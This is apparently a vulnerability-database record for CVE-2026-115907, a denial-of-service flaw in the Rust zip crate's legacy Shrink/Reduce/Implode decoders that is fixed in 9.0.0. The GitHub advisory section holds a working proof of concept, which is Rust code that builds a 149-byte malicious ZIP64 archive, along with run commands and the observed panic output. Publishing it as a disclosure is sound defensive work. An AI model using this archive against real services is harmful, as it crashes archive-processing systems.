{"id":"GHSA-9hj8-73fh-9963","revision":null,"records":[{"revision":"23e92cd92ea449e7a24443581b77b791","observedAt":"2026-10-30T15:45:26.77+00:00","statement":{"source":"cve-program","id":"CVE-2026-115907","aliases":[],"title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","state":0,"publishedAt":"2026-10-26T16:32:15.373+00:00","modifiedAt":"2026-10-30T14:13:49.386+00:00","affected":[{"ecosystem":"Vendor product","name":"zip2","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"zip-rs\",\n                    \"product\": \"zip2\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 5.1.0, < 9.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","https://github.com/zip-rs/zip2/pull/991","https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-115907","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-115907","identifiers":["CVE-2026-115907"]},"retained":false,"historicalAffected":[]},{"revision":"1a70f8b00f654a4eb85ee7f2a1263d4d","observedAt":"2026-11-06T21:03:45.945+00:00","statement":{"source":"euvd","id":"EUVD-2026-109984","aliases":["CVE-2026-115907","GHSA-9hj8-73fh-9963"],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before …","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":null}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","https://github.com/zip-rs/zip2/pull/991","https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-109984","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 26, 2026, 4:32:15 PM","dateUpdated":"Oct 30, 2026, 2:13:49 PM"},"relatedAdvisories":[{"id":"openSUSE-SU-2026:12307-1","title":"python313-uv-0.13.6-1.1 on GA media","vulnerabilityIds":["CVE-2026-115905","CVE-2026-115907","CVE-2026-115908"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-109984","identifiers":["EUVD-2026-109984","CVE-2026-115907","GHSA-9hj8-73fh-9963"]},"retained":false,"historicalAffected":[]},{"revision":"ac71e6643f6840d89d99922ab1524bad","observedAt":"2026-10-31T19:05:21.092+00:00","statement":{"source":"nvd","id":"CVE-2026-115907","aliases":[],"title":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before …","description":"zip is a zip library for Rust that supports reading and writing simple ZIP files. From 5.1.0 until 9.0.0, applications built with the legacy-zip feature can reserve output capacity from an attacker-controlled ZIP64 uncompressed size before validating the compressed stream. The ShrinkDecoder path in src/legacy/shrink.rs can panic with a capacity overflow during ZipArchive::extract, and the Reduce and Implode decoders contain the same unbounded preallocation pattern. An unhandled panic can terminate an archive-processing service. This issue is fixed in version 9.0.0.","state":0,"publishedAt":"2026-10-26T17:17:18.147+00:00","modifiedAt":"2026-10-30T15:16:45.727+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","https://github.com/zip-rs/zip2/pull/991","https://github.com/zip-rs/zip2/releases/tag/v9.0.0","https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115907","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-400","CWE-789"],"productCriteria":[],"sourceDates":{"published":"2026-10-26T17:17:18.147","lastModified":"2026-10-30T15:16:45.727"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-115907","identifiers":["CVE-2026-115907"]},"retained":false,"historicalAffected":[]},{"revision":"3e304dcf28174802a551f9d2a8a6eed5","observedAt":"2026-10-29T18:29:17.815+00:00","statement":{"source":"osv","id":"GHSA-9hj8-73fh-9963","aliases":["CVE-2026-115907"],"title":"zip: legacy Shrink/Reduce/Implode decoder: denial of service from attacker-controlled ZIP64 uncompressed size","description":"### Summary\n\nA malicious 149-byte ZIP archive can cause a denial of service in applications that enable `legacy-zip` and use `ZipArchive::extract()`. An attacker-controlled ZIP64 uncompressed size triggers a `capacity overflow` panic in the Shrink decoder in optimized builds, potentially terminating the affected process.\n\n### Details\n\nWhen reading a Shrink-compressed entry, `ShrinkDecoder::read()` buffers the compressed input and reserves output capacity using the entry's declared uncompressed size:\n\n```rust\nif !self.stream_read {\n    self.stream_read = true;\n    let mut compressed_bytes = Vec::new();\n    self.compressed_reader.read_to_end(&mut compressed_bytes)?;\n    self.stream.reserve(self.uncompressed_size as usize);\n    hwunshrink(\n        &compressed_bytes,\n        self.uncompressed_size as usize,\n        &mut self.stream,\n    )?;\n}\n```\n\nIn version 8.6.0, this is located in [`src/legacy/shrink.rs`](https://github.com/zip-rs/zip2/blob/771dfc534d2614158af5497ea3dff4d4208d7db1/src/legacy/shrink.rs#L341-L352). The vulnerable legacy codecs are compiled when the `legacy-zip` Cargo feature is enabled.\n\n`self.uncompressed_size` is populated from ZIP metadata. For ZIP64 entries, an attacker can set it to a 64-bit value independently of the archive's actual compressed payload size. The PoC declares an uncompressed size of `u64::MAX`, while supplying only one byte of compressed data.\n\nThe reserve occurs before `hwunshrink()` can validate or decode the compressed stream. Consequently, the impossible capacity causes a deterministic `capacity overflow` panic instead of returning a normal archive or I/O error. The behavior also occurs in optimized release builds and is reachable through `ZipArchive::extract()`.\n\nThe same unbounded allocation pattern is present in the legacy Reduce and Implode decoder implementations. This PoC specifically demonstrates the Shrink path.\n\n### PoC\n\nCreate a new Cargo project with the following layout:\n\n```text\nzip2-legacy-poc/\n|-- Cargo.toml\n`-- src/\n    `-- main.rs\n```\n\nUse this `Cargo.toml`:\n\n```toml\n[package]\nname = \"zip2-legacy-poc\"\nversion = \"0.1.0\"\nedition = \"2024\"\npublish = false\n\n[dependencies]\ntempfile = \"3\"\nzip = { version = \"=8.6.0\", features = [\"legacy-zip\"] }\n```\n\nUse this `src/main.rs`:\n\n```rust\nuse std::fs::File;\nuse std::io::{Cursor, Write};\n\nfn push16(out: &mut Vec<u8>, value: u16) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push32(out: &mut Vec<u8>, value: u32) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn push64(out: &mut Vec<u8>, value: u64) {\n    out.extend_from_slice(&value.to_le_bytes());\n}\n\nfn zip64_extra() -> Vec<u8> {\n    let mut extra = Vec::new();\n    push16(&mut extra, 0x0001);\n    push16(&mut extra, 16);\n    push64(&mut extra, u64::MAX);\n    push64(&mut extra, 1);\n    extra\n}\n\nfn archive() -> Vec<u8> {\n    let name = b\"entry\";\n    let extra = zip64_extra();\n    let mut out = Vec::new();\n\n    push32(&mut out, 0x0403_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n    out.push(0);\n\n    let central_start = out.len() as u32;\n\n    push32(&mut out, 0x0201_4b50);\n    push16(&mut out, 45);\n    push16(&mut out, 45);\n    push16(&mut out, 0);\n    push16(&mut out, 1); // Shrink compression.\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, u32::MAX);\n    push32(&mut out, u32::MAX);\n    push16(&mut out, name.len() as u16);\n    push16(&mut out, extra.len() as u16);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push32(&mut out, 0);\n    push32(&mut out, 0);\n    out.extend_from_slice(name);\n    out.extend_from_slice(&extra);\n\n    let central_size = out.len() as u32 - central_start;\n\n    push32(&mut out, 0x0605_4b50);\n    push16(&mut out, 0);\n    push16(&mut out, 0);\n    push16(&mut out, 1);\n    push16(&mut out, 1);\n    push32(&mut out, central_size);\n    push32(&mut out, central_start);\n    push16(&mut out, 0);\n    out\n}\n\nfn main() -> Result<(), Box<dyn std::error::Error>> {\n    let bytes = archive();\n    File::create(\"poc.zip\")?.write_all(&bytes)?;\n\n    let mut archive = zip::ZipArchive::new(Cursor::new(bytes))?;\n    let entry = archive.by_index(0)?;\n\n    println!(\n        \"method={:?} declared_size={}\",\n        entry.compression(),\n        entry.size()\n    );\n\n    drop(entry);\n\n    let output = tempfile::tempdir()?;\n    archive.extract(output.path())?;\n    Ok(())\n}\n```\n\nRun the reproducer in release mode:\n\n```sh\ncd zip2-legacy-poc\nRUST_BACKTRACE=1 cargo run --release\n```\n\nObserved output with `zip` 8.6.0 on `x86_64-unknown-linux-gnu`:\n\n```text\nmethod=Shrink declared_size=18446744073709551615\n\nthread 'main' panicked at .../alloc/src/raw_vec/mod.rs:\ncapacity overflow\n```\n\nThe backtrace reaches the Shrink decompressor through `std::io::copy` and `ZipArchive::extract_internal()`. The process exits with status 101. The program also writes the generated 149-byte archive to `poc.zip` before triggering extraction.\n\n### Impact\n\nApplications that enable `legacy-zip` and pass attacker-supplied ZIP files to the following extraction API can be forced to panic before the compressed entry is validated or decoded. An unhandled panic may terminate the archive-processing process and cause a denial of service.\n\n- `zip::read::ZipArchive::extract`","state":0,"publishedAt":"2026-10-29T16:40:19+00:00","modifiedAt":"2026-10-29T17:00:04.177535+00:00","affected":[{"ecosystem":"crates.io","name":"zip","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"5.1.0"},{"kind":"fixed","version":"9.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/zip-rs/zip2/security/advisories/GHSA-9hj8-73fh-9963","https://nvd.nist.gov/vuln/detail/CVE-2026-115907","https://github.com/zip-rs/zip2/pull/991","https://github.com/zip-rs/zip2/commit/8b4991288b79ad11cce201c2d785d5baa795bd3e","https://github.com/zip-rs/zip2","https://github.com/zip-rs/zip2/releases/tag/v9.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-9hj8-73fh-9963","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9hj8-73fh-9963","identifiers":["GHSA-9hj8-73fh-9963","CVE-2026-115907"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T05:27:07.8967319+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T05:27:07.8967319+00:00","lastSuccessAt":"2026-11-07T05:27:08.0838193+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:08.0838203+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-1ae829b4d87227681c503ae2aafcb6711759ec47373f516748aa4b8facbd6406","complete":true,"records":420508,"lastAttemptAt":"2026-11-07T05:27:06.834914+00:00","lastSuccessAt":"2026-11-07T05:27:06.7992637+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:06.834914+00:00","snapshotPublishedAt":"2026-11-07T04:29:09+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-6c13c54d6d5b40f9b4f0bf38aff17b1f","complete":true,"records":13630,"lastAttemptAt":"2026-11-07T05:38:30.6955782+00:00","lastSuccessAt":"2026-11-07T05:38:30.691+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:38:30.691+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T05:27:07.8967319+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T05:27:07.8967319+00:00","lastSuccessAt":"2026-11-07T05:27:08.0851849+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:08.0851858+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34343b4ea57e47c5a482c8fcf20a381e","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T05:27:08.6678996+00:00","lastSuccessAt":"2026-11-07T01:26:55.938+00:00","error":null,"lastVerifiedAt":"2026-11-07T01:26:55.938+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T05:27:07.4567342+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.4567342+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T05:27:06.8856537+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:06.8856537+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T05:27:07.8404874+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.8404874+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T05:27:07.3565884+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T05:27:07.3565884+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}